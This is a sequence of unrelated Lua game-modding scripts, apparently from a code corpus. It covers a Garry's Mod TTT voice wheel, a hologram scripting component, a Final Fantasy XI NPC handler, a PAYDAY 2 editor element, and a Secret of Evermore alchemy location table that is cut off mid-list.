AGREE
]]--
table.insert(AzWheel.Wheel.Segments, {
Icon = nil,
Name = "tttwheel.seg.agree",
Description = "tttwheel.seg.agree.desc",
Call = function()
local sounds = {
"vo\\npc\\male01\\ok01.wav",
"vo\\npc\\male01\\ok02.wav",
"vo\\npc\\male01\\yeah02.wav",
}
local rnd = table.Random(sounds);
AzWheel:PlaySound(rnd);
RunConsoleCommand("ttt_radio", "yes");
end,
Disabled = defaultChatterDisabled
});
--[[
RUN
]]--
table.insert(AzWheel.Wheel.Segments, {
Icon = nil,
Name = "tttwheel.seg.run",
Description = "tttwheel.seg.run.desc",
Call = function()
local sounds = {
"vo\\npc\\male01\\takecover02.wav",
"vo\\npc\\male01\\strider_run.wav",
"vo\\npc\\male01\\runforyourlife01.wav",
"vo\\npc\\male01\\gethellout.wav"
}
local rnd = table.Random(sounds);
AzWheel:PlaySound(rnd, 100);
end,
Disabled = defaultChatterDisabled
});
--[[
GREETINGS
]]--
table.insert(AzWheel.Wheel.Segments, {
Icon = nil,
Name = "tttwheel.seg.greet",
Description = "tttwheel.seg.greet.desc",
Call = function()
local sounds = {
"vo\\npc\\male01\\hi01.wav",
"vo\\npc\\male01\\hi02.wav",
}
local rnd = table.Random(sounds);
AzWheel:PlaySound(rnd);
end,
Disabled = defaultChatterDisabled
});
--[[
DROP WEAPON
]]--
table.insert(AzWheel.Wheel.Segments, {
Icon = nil,
Name = "tttwheel.seg.empty",
Description = "",
Call = function()
end
});
table.insert(AzWheel.Wheel.Segments, {
Icon = nil,
Name = "tttwheel.seg.chatter",
Description = "tttwheel.seg.chatter.desc",
Call = function()
local sounds = {
"vo\\npc\\male01\\answer38.wav",
"vo\\npc\\male01\\busy02.wav",
"vo\\npc\\male01\\fantastic01.wav",
"vo\\npc\\male01\\fantastic02.wav",
"vo\\npc\\male01\\goodgod.wav",
"vo\\npc\\male01\\moan01.wav",
"vo\\npc\\male01\\nice.wav",
"vo\\npc\\male01\\notthemanithought01.wav",
"vo\\npc\\male01\\notthemanithought02.wav",
"vo\\npc\\male01\\oneforme.wav",
"vo\\npc\\male01\\question01.wav",
"vo\\npc\\male01\\question02.wav",
"vo\\npc\\male01\\question03.wav",
"vo\\npc\\male01\\question04.wav",
"vo\\npc\\male01\\question05.wav",
"vo\\npc\\male01\\question06.wav",
"vo\\npc\\male01\\question07.wav",
"vo\\npc\\male01\\question08.wav",
"vo\\npc\\male01\\question09.wav",
"vo\\npc\\male01\\question10.wav",
"vo\\npc\\male01\\question11.wav",
"vo\\npc\\male01\\question12.wav",
"vo\\npc\\male01\\question13.wav",
"vo\\npc\\male01\\question14.wav",
"vo\\npc\\male01\\question15.wav",
"vo\\npc\\male01\\question16.wav",
"vo\\npc\\male01\\question17.wav",
"vo\\npc\\male01\\question18.wav",
"vo\\npc\\male01\\question19.wav",
"vo\\npc\\male01\\question21.wav",
"vo\\npc\\male01\\question22.wav",
"vo\\npc\\male01\\question23.wav",
"vo\\npc\\male01\\question24.wav",
"vo\\npc\\male01\\question25.wav",
"vo\\npc\\male01\\question26.wav",
"vo\\npc\\male01\\question27.wav",
"vo\\npc\\male01\\question28.wav",
"vo\\npc\\male01\\question29.wav",
"vo\\npc\\male01\\question30.wav",
"vo\\npc\\male01\\question31.wav",
"vo\\npc\\male01\\vanswer01.wav",
"vo\\npc\\male01\\vanswer02.wav",
"vo\\npc\\male01\\vanswer03.wav",
"vo\\npc\\male01\\vanswer04.wav",
"vo\\npc\\male01\\vanswer05.wav",
"vo\\npc\\male01\\vanswer06.wav",
"vo\\npc\\male01\\vanswer07.wav",
"vo\\npc\\male01\\vanswer08.wav",
"vo\\npc\\male01\\vanswer09.wav",
"vo\\npc\\male01\\vanswer10.wav",
"vo\\npc\\male01\\vanswer11.wav",
"vo\\npc\\male01\\vanswer12.wav",
"vo\\npc\\male01\\vanswer13.wav",
"vo\\npc\\male01\\vanswer14.wav",
"vo\\npc\\male01\\vquestion01.wav",
"vo\\npc\\male01\\vquestion02.wav",
"vo\\npc\\male01\\vquestion03.wav",
"vo\\npc\\male01\\vquestion04.wav",
"vo\\npc\\male01\\vquestion05.wav",
"vo\\npc\\male01\\vquestion06.wav",
"vo\\npc\\male01\\vquestion07.wav"
}
local rnd = table.Random(sounds);
AzWheel:PlaySound(rnd);
end,
Disabled = defaultChatterDisabled
});
AzWheel.Mouse = {}
function AzWheel:PlaySound(snd, lvl)
self.LastChatter = CurTime();
net.Start("AzWheel PlaySound");
net.WriteString(snd);
net.WriteInt(lvl || 75, 8);
net.SendToServer();
end
function AzWheel:IsVisible()
return self.Visible
end
function AzWheel.Show()
local self = AzWheel;
self.Mouse.RawXY = Vector(0, 0);
self.Visible = true;
self.TimeOpened = CurTime();
-- Stop propagation
return false;
end
local ang_distance = function(x, y)
return (x - y + 180) % 360 - 180;
end
function AzWheel:IsSegmentDisabled(seg)
if (seg.Disabled == null) then
return false;
elseif (type(seg.Disabled) == "boolean") then
return seg.Disabled;
elseif (type(seg.Disabled) == "function") then
return seg.Disabled()
else
return false;
end
end
function AzWheel.Hide(self, noexec)
local self = AzWheel;
if (!self.Visible) then return end;
self.Visible = false;
self.TimeClosed = CurTime();
if (noexec) then return end;
-- Determine which segment cursor was above.
local full_segsize = 360 / table.Count(self.Wheel.Segments);
local segsize = full_segsize * 0.9;
local spacing = (full_segsize - segsize) / 2;
local ang = -full_segsize / 2;
for k, v in pairs(self.Wheel.Segments) do
-- Is it selected?
local trigger_center = ang + full_segsize / 2
local selected = self.Mouse.Polar.Distance > self.Wheel.ReactionTreshold * self.Wheel.Radius && math.abs(ang_distance(math.deg(self.Mouse.Polar.Angle), trigger_center)) < segsize / 2;
ang = ang + full_segsize;
if (selected && !self:IsSegmentDisabled(v)) then
v.Call();
end
end
-- Stop propagation
return false;
end
function AzWheel.Init()
local self = AzWheel;
self.Initialized = true;
end
hook.Add("Initialize", "TTT Wheel Init", AzWheel.Init);
-- Handle script reloads
if (AzWheel.Initialized) then
AzWheel.Init();
end
local sensitivity = GetConVar("sensitivity");
function AzWheel.InputMouseApply(cmd, x, y, ang)
local self = AzWheel;
if (self:IsVisible()) then
cmd:SetMouseX(0);
cmd:SetMouseY(0);
local spd = 1.45;
x = x / sensitivity:GetInt() * spd;
y = y / sensitivity:GetInt() * spd;
local raw = self.Mouse.RawXY + Vector(x, y);
local polar = {};
polar.Distance = raw:Length();
polar.Angle = math.atan2(raw.y, raw.x);
if (polar.Distance > self.Wheel.Radius - self.Wheel.TumblerSize - self.Wheel.SegmentThickness / 4) then
polar.Distance = self.Wheel.Radius - self.Wheel.TumblerSize - self.Wheel.SegmentThickness / 4;
raw.x = math.cos(polar.Angle) * polar.Distance;
raw.y = math.sin(polar.Angle) * polar.Distance;
end
self.Mouse.Polar = polar;
self.Mouse.RawXY = raw;
return true;
end
end
function AzWheel.CreateMove(cmd)
local self = AzWheel;
if (cmd:GetButtons() % 2 == 1) then
if (self:IsVisible()) then
cmd:SetButtons(cmd:GetButtons() - 1);
self:Hide();
return true;
-- Extraordinary hacks? •c•
elseif (CurTime() - (self.TimeClosed or 0) < 0.25) then
cmd:SetButtons(cmd:GetButtons() - 1);
RunConsoleCommand("-attack");
return true;
end
end
if (cmd:KeyDown(IN_ATTACK2)) then
if (self:IsVisible()) then
cmd:SetButtons(cmd:GetButtons() - 2048);
RunConsoleCommand("ttt_dropweapon")
WSWITCH:Disable()
self:Hide(true);
return true;
-- Extraordinary hacks? •c•
elseif (CurTime() - (self.TimeClosed or 0) < 0.25) then
cmd:SetButtons(cmd:GetButtons() - 2048);
RunConsoleCommand("-attack2");
return true;
end
end
end
hook.Add("OnSpawnMenuOpen", "TTT Wheel Show", AzWheel.Show);
hook.Add("OnSpawnMenuClose", "TTT Wheel Hide", AzWheel.Hide);
hook.Add("InputMouseApply", "TTT Wheel MouseInput", AzWheel.InputMouseApply);
hook.Add("CreateMove", "TTT Wheel MouseClicker", AzWheel.CreateMove);
|
/*==============================================================================================
Expression Advanced: Component -> Holograms.
Creditors: Rusketh, Oskar94
==============================================================================================*/
local LEMON, API = LEMON, LEMON.API
local Component = API:NewComponent( "hologram", true )
/*==============================================================================================
Section: HoloGram Lib
==============================================================================================*/
local NeedsSync, Recent = false, { }
local HoloLib = { Owners = { }, Holograms = { }, HologramOwners = { }, Queue = { } }
local Owners, Holograms, HologramOwners, Queue = HoloLib.Owners, HoloLib.Holograms, HoloLib.HologramOwners, HoloLib.Queue
LEMON.HoloLib = HoloLib
-- Create external!
Component:AddExternal( "HoloLib", HoloLib )
function HoloLib.GetAll( Gate )
return Holograms[ Gate ] or { }
end
function HoloLib.Remove( Context, Holo )
if Holo and Holo:IsValid( ) and Holo.Player == Context.Player then
local Gate, Owner = Context.Entity, Context.Player
Owners[Owner] = Owners[Owner] - 1
Holograms[Gate][Holo] = nil
Holo:Remove( )
end
end
function HoloLib.RemoveAll( Gate )
local Holos = Holograms[Gate]
if Holos then
local Count = Owners[Gate.Player] or 0
for _, Holo in pairs( Holograms[Gate] ) do
if Holo:IsValid( ) then
if table.Count( Holo.Clips ) > 0 then
net.Start( "lemon_hologram_remove_clips" )
net.WriteUInt( Holo:EntIndex( ), 16 )
net.Broadcast( )
end
Count = Count - 1
Holo:Remove( )
end
end
if Count < 0 then Count = 0 end -- Should never happen!
Owners[Gate.Player] = Count
Holograms[Gate] = { }
end
end
function HoloLib.QueueHologram( Gate )
if Gate and Gate:IsValid( ) and Gate.IsHologram then
Queue[Gate] = true
NeedsSync = true
end
end
function HoloLib.RescaleAny( X, Y, Z, Max, Size )
TestMax = Max * 12
local TextX = X * Size.x
if TextX > TestMax or TextX < -TestMax then
local Val = Size.x * TestMax
X = math.Clamp(Max / Size.x, -Val, Val)
end
local TextY = Y * Size.y
if TextY > TestMax or TextY < -TestMax then
local Val = Size.y * TestMax
Y = math.Clamp(Max / Size.y, -Val, Val)
end
local TextZ = Z * Size.z
if TextZ > TestMax or TextZ < -TestMax then
local Val = Size.z * TestMax
Z = math.Clamp(Max / Size.z, -Val, Val)
end
return X, Y, Z
end
/*==============================================================================================
Section: Convars
==============================================================================================*/
HoloLib._Max = CreateConVar( "lemon_holograms_max", "128" )
HoloLib._Rate = CreateConVar( "lemon_holograms_per_tick", "20" )
HoloLib._Clips = CreateConVar( "lemon_holograms__clips", "5" )
HoloLib._Size = CreateConVar( "lemon_holograms_Size", "50" )
HoloLib._Model = CreateConVar( "lemon_holograms_model_any", "1" )
/*==============================================================================================
Section: Models
==============================================================================================*/
HoloLib.ModelList = {
["cone"] = "cone",
["cube"] = "cube",
["cylinder"] = "cylinder",
["hq_cone"] = "hq_cone",
["hq_cylinder"] = "hq_cylinder",
["hq_dome"] = "hq_dome",
["hq_hdome"] = "hq_hdome",
["hq_hdome_thick"] = "hq_hdome_thick",
["hq_hdome_thin"] = "hq_hdome_thin",
["hq_icosphere"] = "hq_icosphere",
["hq_sphere"] = "hq_sphere",
["hq_torus"] = "hq_torus",
["hq_torus_thick"] = "hq_torus_thick",
["hq_torus_thin"] = "hq_torus_thin",
["hq_torus_oldsize"] = "hq_torus_oldsize",
["hq_tube"] = "hq_tube",
["hq_tube_thick"] = "hq_tube_thick",
["hq_tube_thin"] = "hq_tube_thin",
["hq_stube"] = "hq_stube",
["hq_stube_thick"] = "hq_stube_thick",
["hq_stube_thin"] = "hq_stube_thin",
["icosphere"] = "icosphere",
["icosphere2"] = "icosphere2",
["icosphere3"] = "icosphere3",
["plane"] = "plane",
["prism"] = "prism",
["pyramid"] = "pyramid",
["sphere"] = "sphere",
["sphere2"] = "sphere2",
["sphere3"] = "sphere3",
["tetra"] = "tetra",
["torus"] = "torus",
["torus2"] = "torus2",
["torus3"] = "torus3",
["hq_rcube"] = "hq_rcube",
["hq_rcube_thick"] = "hq_rcube_thick",
["hq_rcube_thin"] = "hq_rcube_thin",
["hq_rcylinder"] = "hq_rcylinder",
["hq_rcylinder_thick"]= "hq_rcylinder_thick",
["hq_rcylinder_thin"] = "hq_rcylinder_thin",
["hq_cubinder"] = "hq_cubinder",
["hexagon"] = "hexagon",
["octagon"] = "octagon",
["right_prism"] = "right_prism",
// Removed models with their replacements
["dome"] = "hq_dome",
["dome2"] = "hq_hdome",
["hqcone"] = "hq_cone",
["hqcylinder"] = "hq_cylinder",
["hqcylinder2"] = "hq_cylinder",
["hqicosphere"] = "hq_icosphere",
["hqicosphere2"] = "hq_icosphere",
["hqsphere"] = "hq_sphere",
["hqsphere2"] = "hq_sphere",
["hqtorus"] = "hq_torus_oldsize",
["hqtorus2"] = "hq_torus_oldsize",
// HQ models with their short names
["hqhdome"] = "hq_hdome",
["hqhdome2"] = "hq_hdome_thin",
["hqhdome3"] = "hq_hdome_thick",
["hqtorus3"] = "hq_torus_thick",
["hqtube"] = "hq_tube",
["hqtube2"] = "hq_tube_thin",
["hqtube3"] = "hq_tube_thick",
["hqstube"] = "hq_stube",
["hqstube2"] = "hq_stube_thin",
["hqstube3"] = "hq_stube_thick",
["hqrcube"] = "hq_rcube",
["hqrcube2"] = "hq_rcube_thick",
["hqrcube3"] = "hq_rcube_thin",
["hqrcylinder"] = "hq_rcylinder",
["hqrcylinder2"] = "hq_rcylinder_thin",
["hqrcylinder3"] = "hq_rcylinder_thick",
["hqcubinder"] = "hq_cubinder"
}
-- TODO: Add Hook!
for _, Model in pairs( HoloLib.ModelList ) do
util.PrecacheModel( "models/Holograms/" .. Model .. ".mdl" )
end
function HoloLib.Model( Trace, Context, Holo, ModelS )
if IsValid( Holo ) and Holo.Player == Context.Player then
local ValidModel = HoloLib.ModelList[ ModelS ]
print( "YAY!" )
if ValidModel then
Holo:SetModel( "models/Holograms/" .. ValidModel .. ".mdl" )
Holo.ModelAny = false
elseif HoloLib._Model:GetInt( ) >= 1 and util.IsValidModel( ModelS ) then
Holo:SetModel( Model( ModelS ) )
Holo.ModelAny = true
else
Context:Throw( Trace, "hologram", "unknown hologram model used" )
end
end
end
/*==============================================================================================
Section: Creators
==============================================================================================*/
local IsValidModel = util.IsValidModel
function HoloLib.Create( Trace, Context )
local Ent, Owner = Context.Entity, Context.Player
local Burst = Recent[Ent]
if !Burst then
Burst = 0
elseif Burst > HoloLib._Rate:GetInt( ) then
Context:Throw( Trace, "hologram", "too many holograms made at once")
end
local Count = Owners[Owner]
if !Count then
Count = 0
elseif Count >= HoloLib._Max:GetInt( ) then
Context:Throw( Trace, "hologram", "hologram limit reached")
end
local Holo = ents.Create( "lemon_holo" )
if !Holo or !Holo:IsValid( ) then
Context:Throw( Trace, "hologram", "unable to create hologram")
end
Holo.Player = Owner
if CPPI then Holo:CPPISetOwner( Owner ) end
Recent[Ent] = Burst + 1
Owners[Owner] = Count + 1
Holograms[Ent][Holo] = Holo -- Hmm?
Holo:SetModel( "models/Holograms/sphere.mdl" )
Holo:SetPos( Ent:GetPos( ) )
Holo:Spawn( )
Holo:Activate( )
NeedsUpdate = true
Queue[Holo] = true
NeedsSync = true
return Holo
end
function HoloLib.Create2( Trace, Context, ModelS )
local Holo = HoloLib.Create( Trace, Context )
local ValidModel = HoloLib.ModelList[ ModelS ]
if ValidModel then
Holo:SetModel( "models/Holograms/" .. ValidModel .. ".mdl" )
Holo.ModelAny = false
return Holo
elseif HoloLib._Model:GetInt() >= 1 and IsValidModel( ModelS ) then
Holo:SetModel( Model(ModelS) )
Holo.ModelAny = true
return Holo
end
Holo:Remove( )
Context:Throw( Trace, "hologram", "unknown hologram model used")
end
/*==============================================================================================
Section: API Hooks
==============================================================================================*/
function Component:Create( Gate )
Holograms[ Gate ] = { }
end
function Component:BuildContext( Gate )
HoloLib.RemoveAll( Gate )
end
function Component:Remove( Gate )
HoloLib.RemoveAll( Gate )
end
function Component:ShutDown( Gate )
HoloLib.RemoveAll( Gate )
end
function Component:APIReload( )
for Gate, Holos in pairs( Holograms ) do
for _, Holo in pairs( Holos ) do
if IsValid( Holo ) then Holo:Remove( ) end
end
end
end
/*==============================================================================================
Section: Class and Operators
==============================================================================================*/
local Hologram = Component:NewClass( "h", "hologram" )
Hologram:Extends( "e" )
-- Casting:
Component:SetPerf( LEMON_PERF_ABNORMAL )
Component:AddOperator( "hologram", "e", "h", [[
if !$IsValid( value %1 ) or !value %1.IsHologram then
%context:Throw( %trace, "hologram", "casted none hologram from entity")
end ]], "value %1" )
/*==============================================================================================
Section: Creator Functions
==============================================================================================*/
Component:SetPerf( LEMON_PERF_EXPENSIVE )
Component:AddFunction( "hologram", "", "h", "%HoloLib.Create( %trace, %context )")
Component:AddFunction( "hologram", "s", "h", "%HoloLib.Create2( %trace, %context, value %1 )")
Component:AddFunction( "hologram", "s,v", "h", [[
local %Holo = %HoloLib.Create( %trace, %context, value %1 )
%Holo:SetPos( value %2:Garry( ) )
]], "%Holo" )
/*==============================================================================================
Section: Util
==============================================================================================*/
Component:SetPerf( LEMON_PERF_NORMAL )
Component:AddFunction( "remove", "h:", "", "%HoloLib.Remove( %context, value %1 )" )
Component:AddFunction( "setModel", "h:s", "", "%HoloLib.Model( %trace, %context, value %1, value %2 )", "" )
Component:SetPerf( LEMON_PERF_CHEAP )
Component:AddFunction( "isHologram", "e:", "b", "local %Holo = value %1", "(%Holo and %Holo:IsValid( ) and %Holo.IsHologram)" )
-- CVars:
Component:AddFunction( "maxHolograms", "", "n", "%HoloLib._Max:GetInt( )" )
Component:AddFunction( "maxHologramClips", "", "n", "%HoloLib._Clips:GetInt( )" )
Component:SetPerf( LEMON_PERF_EXPENSIVE )
Component:AddFunction( "holograms", "", "t", [[
local %Results = %Table( )
for _, Holo in pairs( %HoloLib.GetAll( %context.Entity ) ) do
%Results:Insert( nil, "h", Holo )
end]], "%Results" )
/*==============================================================================================
Section: Position and Angles
==============================================================================================*/
Component:SetPerf( LEMON_PERF_NORMAL )
Component:AddFunction("setPos", "h:v", "",[[
if $IsValid( value %1 ) and value %1.Player == %context.Player then
value %1:SetPos( value %2:Garry( ) )
end]], "" )
Component:AddFunction("setAng", "h:a", "",[[
if $IsValid( value %1 ) and value %1.Player == %context.Player then
value %1:SetAngles( value %2 )
end]], "" )
/*==============================================================================================
Section: Scale
==============================================================================================*/
Component:SetPerf( LEMON_PERF_ABNORMAL )
Component:AddFunction("scale", "h:v", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player then
local %Max = %HoloLib._Size:GetInt()
local %X, %Y, %Z
if !value %1.ModelAny then
%X = math.Clamp(value %2.x, -%Max, %Max)
%Y = math.Clamp(value %2.y, -%Max, %Max)
%Z = math.Clamp(value %2.z, -%Max, %Max)
else
local %Size = value %1:OBBMaxs() - value %1:OBBMins()
%X, %Y, %Z = %HoloLib.RescaleAny(value %2.x, value %2.y, value %2.z, %Max, %Size)
end
if value %1:SetScale(%X, %Y, %Z) then
%HoloLib.QueueHologram( value %1 )
end
end]], "" )
Component:AddFunction("scaleUnits", "h:v", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player then
local %Scale = value %1:OBBMaxs() - value %1:OBBMins()
local %Max = %HoloLib._Size:GetInt()
local %X = math.Clamp(value %2.x / %Scale.x, -%Max, %Max)
local %Y = math.Clamp(value %2.y / %Scale.y, -%Max, %Max)
local %Z = math.Clamp(value %2.z / %Scale.z, -%Max, %Max)
if value %1.ModelAny then
%X, %Y, %Z = %HoloLib.RescaleAny(%X, %Y, %Z, %Max, %Scale)
end
if value %1:SetScale(%X, %Y, %Z) then
%HoloLib.QueueHologram( value %1 )
end
end]], "" )
Component:SetPerf( LEMON_PERF_CHEAP )
Component:AddFunction("getScale", "h:", "v", "local %Holo = value %1", "($IsValid(%Holo) and Vector3(%Holo.Scale or Vector(0, 0, 0)) or Vector3.Zero:Clone())" )
/*==============================================================================================
Section: Color
==============================================================================================*/
Component:AddFunction("setColor", "h:c", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player then
value %1:SetColor( $Color( value %2[1], value %2[2], value %2[3], value %2[4] ) )
value %1:SetRenderMode(value %2[4] == 255 and 0 or 4)
end]], "" )
Component:AddFunction("getColor", "h:", "c", [[
local %Val = {0, 0, 0, 0}
if $IsValid( value %1 ) then
local %C = value %1:GetColor( )
%Val = { %C.r, %C.g, %C.b, %C.a }
end]], "%Val" )
/*==============================================================================================
Section: Material / Skin / Bodygroup
==============================================================================================*/
Component:AddFunction( "setMaterial", "h:s", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player then
value %1:SetMaterial(value %2)
end]], "" )
Component:AddFunction( "getMaterial", "h:", "s", [[
local %Val = ""
if $IsValid( value %1 ) then
%Val = value %1:GetMaterial( ) or ""
end]], "%Val" )
Component:AddFunction( "getSkin", "h:", "n", [[
local %Val = ""
if $IsValid( value %1 ) then
%Val = value %1:GetSkin( ) or 0
end]], "%Val" )
Component:AddFunction( "getSkinCount", "h:", "n", [[
local %Val = ""
if $IsValid( value %1 ) then
%Val = value %1:SkinCount( ) or 0
end]], "%Val" )
Component:AddFunction( "setSkin", "h:n", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player then
value %1:SetSkin(value %2)
end]], "" )
Component:AddFunction( "setBodygroup", "h:n,n", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player then
value %1:SetBodygroup(value %2, value %3)
end]], "" )
/*==============================================================================================
Section: Rendering
==============================================================================================*/
Component:SetPerf( LEMON_PERF_CHEAP )
Component:AddFunction("shading", "h:b", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player then
if value %1:SetShading(value %2) then
%HoloLib.QueueHologram( value %1 )
end
end]], "" )
Component:AddFunction("visible", "h:b", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player then
if value %1:SetVisible(value %2) then
%HoloLib.QueueHologram( value %1 )
end
end]], "" )
/*==============================================================================================
Section: Clipping
==============================================================================================*/
Component:SetPerf( LEMON_PERF_NORMAL )
Component:AddFunction("pushClip", "h:n,v,v", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player then
if !value %1:ClipCount( value %2, %HoloLib._Clips:GetInt( ) ) then
%context:Throw( %trace, "hologram", "max clip count reached")
end
if value %1:PushClip( value %2, value %3:Garry( ), value %4:Garry( ) ) then
%HoloLib.QueueHologram( value %1 )
end
end]], "" )
Component:AddFunction("removeClip", "h:n", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player and value %1:RemoveClip( value %2 ) then
%HoloLib.QueueHologram( value %1 )
end]], "" )
Component:AddFunction("enableClip", "h:n,b", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player and value %1:EnableClip( value %2, value %3 ) then
%HoloLib.QueueHologram( value %1 )
end]], "" )
/*==============================================================================================
Section: Parent
==============================================================================================*/
Component:SetPerf( LEMON_PERF_CHEAP )
Component:AddFunction("parent", "h:e", "", [[
if $IsValid( value %1 ) and value %1.Player == %context.Player and $IsValid( value %2 )then
value %1:SetParent(value %2)
end]], "" )
Component:AddFunction("getParentHolo", "h:", "h", [[
local %Val = %NULL_ENTITY
if %IsValid( value %1 ) then
local %Parent = value %1:GetParent( )
if %Parent and %Parent:IsValid( ) and %Parent.IsHologram then
%Val = %Parent
end
end]], "%Val" )
Component:AddFunction("getParent", "h:", "e", [[
local %Val = %NULL_ENTITY
if $IsValid( value %1 ) then
local %Parent = value %1:GetParent( )
if %Parent and %Parent:IsValid( ) then
%Val = %Parent
end
end]], "%Val" )
/*==============================================================================================
Section: Sync
==============================================================================================*/
local net = net
util.AddNetworkString( "lemon_hologram" )
util.AddNetworkString( "lemon_hologram_remove_clips" )
hook.Add("Tick", "Lemon_Holograms", function()
if NeedsSync then
net.Start("lemon_hologram")
for Holo, _ in pairs( Queue ) do
if Holo and Holo:IsValid() then
Holo:Sync( false )
end
end
net.WriteUInt( 0, 16 )
net.Broadcast()
end
Queue, NeedsSync = { }, false
Recent = {}
end)
hook.Add( "PlayerInitialSpawn", "Lemon_Holograms", function( Player )
net.Start("lemon_hologram")
for Gate, Holos in pairs( Holograms ) do
for _, Holo in pairs( Holos ) do
if Holo and Holo:IsValid() and !Queue[Holo] then
Holo:Sync( true ) -- We wont force sync whats in the queue!
end
end
end
net.WriteUInt( 0, 16 )
net.Send( Player )
end)
|
-----------------------------------
-- Area: Northern San d'Oria
-- NPC: Heruze-Moruze
-- Involved in Mission: 2-3 Windurst
-- !pos -56 -3 36 231
-----------------------------------
local ID = require("scripts/zones/Northern_San_dOria/IDs");
require("scripts/globals/keyitems");
require("scripts/globals/missions");
-----------------------------------
function onTrade(player,npc,trade)
if (player:getQuestStatus(SANDORIA,tpz.quest.id.sandoria.FLYERS_FOR_REGINE) == QUEST_ACCEPTED) then
if (trade:hasItemQty(532,1) and trade:getItemCount() == 1) then -- Trade Magicmart_flyer
player:messageSpecial(ID.text.FLYER_REFUSED);
end
end
end;
function onTrigger(player,npc)
pNation = player:getNation();
currentMission = player:getCurrentMission(pNation);
if (pNation == tpz.nation.WINDURST) then
if (currentMission == tpz.mission.id.windurst.THE_THREE_KINGDOMS and player:getCharVar("MissionStatus") == 1) then
player:startEvent(582);
else
player:startEvent(554);
end
elseif (pNation == tpz.nation.BASTOK) then
player:startEvent(578);
elseif (pNation == tpz.nation.SANDORIA) then
player:startEvent(577);
end
end;
function onEventUpdate(player,csid,option)
end;
function onEventFinish(player,csid,option)
if (csid == 582) then
player:setCharVar("MissionStatus",2);
end
end;
|
EditorDebug = EditorDebug or class(MissionScriptEditor)
EditorDebug.SAVE_UNIT_POSITION = false
EditorDebug.SAVE_UNIT_ROTATION = false
function EditorDebug:create_element(...)
EditorDebug.super.create_element(self, ...)
self._element.class = "ElementDebug"
self._element.values.debug_string = "none"
self._element.values.as_subtitle = false
self._element.values.show_instigator = false
end
function EditorDebug:_build_panel()
self:_create_panel()
self:StringCtrl("debug_string")
self:BooleanCtrl("as_subtitle", {text = "Show as subtitle"})
self:BooleanCtrl("show_instigator")
end
|
ALCHEMY_LOCATION_MAPPING = nil
ALCHEMY_IDS = {
[0x00] = "acid_rain",
[0x01] = "atlas",
[0x02] = "barrier",
[0x03] = "call_up",
[0x04] = "corrosion",
[0x05] = "crush",
[0x06] = "cure",
[0x07] = "defend",
[0x08] = "double_drain",
[0x09] = "drain",
[0x0a] = "energize",
[0x0b] = "escape",
[0x0c] = "explosion",
[0x0d] = "fireball",
[0x0e] = "fire_power",
[0x0f] = "flash",
[0x10] = "force_field",
[0x11] = "hard_ball",
[0x12] = "heal",
[0x13] = "lance",
--no laser
[0x15] = "levitate",
[0x16] = "lightning_storm",
[0x17] = "miracle_cure",
[0x18] = "nitro",
[0x19] = "one_up",
[0x1a] = "reflect",
[0x1b] = "regrowth",
[0x1c] = "revealer",
[0x1d] = "revive",
[0x1e] = "slow_burn",
[0x1f] = "speed",
[0x20] = "sting",
[0x21] = "stop",
[0x22] = "super_heal"
}
ALCHEMY_LOCATIONS_FLAGS = {
[0x00] = 0x13af2a + 2,
[0x01] = 0x15e97f + 2,
[0x02] = 0x15d3d7 + 1,
[0x03] = 0x1bcec8 + 1,
[0x04] = 0x18b2f7 + 2,
[0x05] = 0x15ba42 + 1,
[0x06] = 0x1683b2 + 2,
[0x07] = 0x14e506 + 1,
[0x08] = 0x14a682 + 6,
[0x09] = 0x14a692 + 2,
[0x0a] = 0x1bcf34 + 6,
[0x0b] = 0x16db70 + 11,
[0x0c] = 0x198793 + 2,
[0x0d] = 0x17a2d0 + 2,
[0x0e] = 0x17e9ed + 2,
[0x0f] = 0x14da42 + 1,
[0x10] = 0x19da23 + 1,
[0x11] = 0x14a9a1 + 9,
[0x12] = 0x13dacd + 1,
[0x13] = 0x18e164 + 2,
--no laser
[0x15] = 0x13ed93 + 2,
[0x16] = 0x1996f0 + 1,
[0x17] = 0x14e70a + 2,
[0x18] = 0x198793 + 11,
[0x19] = 0x19b750 + 2,
[0x1a] = 0x1be026 + 2,
[0x1b] = 0x18de1b + 2,
[0x1c] = 0x16db3b + 2,
[0x1d] = 0x15b216 + 2,
[0x1e] = 0x19881d + 2,
[0x1f] = 0x149c9c + 2,
[0x20] = 0x16e141 + 2,
[0x21] = 0x19da2d + 1,
[0x22] = 0x1abb91 + 2,
}
ALCHEMY_LOCATIONS_DETAILED = {
[0x00] = "@Quick Sand Fields/Acid Rain Guy/Acid Rain",
[0x01] = "@Nobilia/Atlas/",
[0x02] = "@Nobilia/Barrier/",
[0x03] = "@Main District/Laboratory/Call Up",
[0x04] = "@Ivor Tower Sewers/Corrosion/",
[0x05] = "@Eastern Beach/Blimp's Cave/Crush",
[0x06] = "@Nobilia/Cure/",
[0x07] = "@Fire Eyes' Village/Defend Area/Defend",
[0x08] = "@River/Drain Cave/Double Drain",
[0x09] = "@River/Drain Cave/Drain",
[0x0a] = "@Main District/Laboratory/Energize",
[0x0b] = "@Western Beach/Horace Camp/Escape",
[0x0c] = "@Ebon Keep Interiors/Explosion / Nitro/Explosion",
[0x0d] = "@Halls of Collosia 4/Fireball/",
[0x0e] = "@Ivor Tower Interiors/Fire Power/",
[0x0f] = "@Fire Eyes' Village/Fire Eyes' Hut/Flash",
[0x10] = "@Chessboard/Below the Chessboard/Force Field",
[0x11] = "@Bugmuck/Hard Ball Cave/Hard Ball",
[0x12] = "@Northern Jungle/Mammoth Graveyard/Heal",
[0x13] = "lance_npc",
--no laser
[0x15] = "@Volcano Path/Levitate/",
[0x16] = "@Gomi Tower/Lightning Storm/",
[0x17] = "@Southern Jungle/Strong Heart's Hut/Miracle Cure",
[0x18] = "@Ebon Keep Interiors/Explosion / Nitro/Nitro",
[0x19] = "@Dark Forest 1/One Up/",
[0x1a] = "@Main District/Junkyard / Boiler Room/Reflect",
[0x1b] = "@Ebon Keep/Regrowth Lady's hidden room/Regrowth",
[0x1c] = "@Western Beach/Horace Camp/Revealer",
[0x1d] = "@Eastern Beach/Blimp's Cave/Revive",
